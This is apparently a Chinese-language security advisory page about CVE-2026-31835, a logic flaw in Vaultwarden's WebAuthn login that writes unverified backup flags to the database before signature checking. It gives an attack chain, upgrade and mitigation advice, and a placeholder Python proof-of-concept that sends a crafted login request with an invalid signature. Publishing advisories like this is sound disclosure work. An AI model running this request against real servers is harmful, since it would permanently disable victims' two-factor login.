IPBUF安全漏洞报告
English
CVE-2026-31835 CVSS 5.4 中危

CVE-2026-31835 Vaultwarden WebAuthn逻辑缺陷致拒绝服务漏洞

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-31835
漏洞类型
逻辑漏洞
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Vaultwarden

相关标签

逻辑漏洞拒绝服务VaultwardenWebAuthnRust认证绕过

漏洞概述

Vaultwarden是一款用Rust编写的Bitwarden兼容服务器。在1.35.4及更早版本中,WebAuthn认证流程的`validate_webauthn_login()`函数存在严重逻辑缺陷。该函数在执行签名验证之前,错误地根据未经验证的`authenticatorData`更新了数据库中的持久化元数据(即`backup_eligible`和`backup_state`标志)。由于签名验证失败后系统不会回滚数据库更新,这使得知道用户密码但无法提供有效WebAuthn签名的攻击者,能够永久篡改该用户凭据的备份标志,从而导致受影响凭据的WebAuthn双因素认证功能出现持续拒绝服务。

技术细节

该漏洞的核心在于Vaultwarden处理WebAuthn登录请求时的时序逻辑错误。根据安全最佳实践,涉及持久化状态更改的操作必须在验证数据完整性(如签名验证)之后进行。然而,受影响版本的代码在`validate_webauthn_login()`中,优先解析了客户端传入的`authenticatorData`,并直接将其中的标志位写入数据库。随后代码才执行签名验证步骤。如果验证失败(例如攻击者提供的签名无效),虽然登录请求被拒绝,但之前的数据库写入操作已经生效且未触发事务回滚。攻击者利用此漏洞,只需掌握用户主密码,即可构造包含恶意`authenticatorData`(篡改了备份标志)和无效签名的请求。这将导致合法的WebAuthn硬件密钥因服务端存储的标志位与实际物理凭证不匹配而失效,实现对特定账户WebAuthn 2FA的持久化拒绝服务攻击。

攻击链分析

STEP 1
1. 凭据获取
攻击者通过钓鱼、撞库或其他手段获取受害者的Vaultwarden账号密码。
STEP 2
2. 构造恶意请求
攻击者准备WebAuthn登录请求,在`authenticatorData`字段中注入恶意的备份标志位数据,并故意使用无效的签名。
STEP 3
3. 触发漏洞逻辑
攻击者向服务器发送请求。服务器在验证签名之前,先将恶意的`authenticatorData`写入数据库,更新了持久化标志。
STEP 4
4. 验证失败与状态保留
服务器随后验证签名,发现无效并拒绝登录。由于缺乏事务回滚机制,数据库中已更新的恶意标志位得以保留。
STEP 5
5. 拒绝服务生效
受害者在下次尝试使用合法的WebAuthn硬件密钥登录时,因服务端存储的标志位与密钥不匹配,导致双因素认证失败,无法正常登录。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Conceptual Proof of Concept for CVE-2026-31835 # This script demonstrates how an attacker with a valid password # could trigger the logic flaw to corrupt WebAuthn metadata. TARGET_URL = "https://target-vaultwarden-instance.com/api/accounts/webauthn/login" # Assume the attacker has already obtained the user's password and generated a session token # or is interacting with the endpoint that accepts WebAuthn responses during login. SESSION_TOKEN = "<OBTAINED_SESSION_TOKEN_WITH_PASSWORD>" USER_ID = "<TARGET_USER_ID>" CREDENTIAL_ID = "<TARGET_WEBAUTHN_CREDENTIAL_ID>" def exploit(): headers = { "Authorization": f"Bearer {SESSION_TOKEN}", "Content-Type": "application/json" } # Malicious authenticatorData: crafted to flip backup flags (backup_eligible/backup_state) # Normally this data should be signed, but the server processes it before checking the signature. # This is a placeholder for the actual base64 encoded byte array. malicious_authenticator_data = "INVALID_MALICIOUS_AUTHENTICATOR_DATA_BASE64" # Provide an invalid signature to ensure the verification step fails AFTER the DB update. invalid_signature = "INVALID_SIGNATURE_TO_TRIGGER_FAILURE" payload = { "deviceId": "poc_device", "twoFactorToken": "", "twoFactorProvider": 0, # WebAuthn provider "twoFactorRemember": 0, "webauthn_login_response": { "id": CREDENTIAL_ID, "rawId": CREDENTIAL_ID, "type": "public-key", "response": { "authenticatorData": malicious_authenticator_data, "clientDataJSON": "dummy_client_data", "signature": invalid_signature, "userHandle": USER_ID } } } try: print("[*] Sending malicious WebAuthn login request...") response = requests.post(TARGET_URL, headers=headers, data=json.dumps(payload)) # The server might return an error (e.g., 400 Bad Request or 401 Unauthorized) # because the signature is invalid. # However, due to the vulnerability, the database flags have already been updated. if response.status_code != 200: print(f"[-] Request failed as expected (Status: {response.status_code})") print("[!] Check database: backup flags might have been corrupted (DoS triggered).") else: print("[!] Unexpected success.") print(f"Response: {response.text}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": exploit()

影响范围

Vaultwarden <= 1.35.4

防御指南

临时缓解措施
建议管理员立即将Vaultwarden升级至官方发布的修复版本1.35.5。如果暂时无法升级,应密切监控WebAuthn登录日志中是否存在大量签名验证失败的异常请求。对于可能已被攻击的账户,管理员可能需要在数据库层面手动修正或清除用户的WebAuthn元数据,并通知用户重新注册其二步验证设备。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表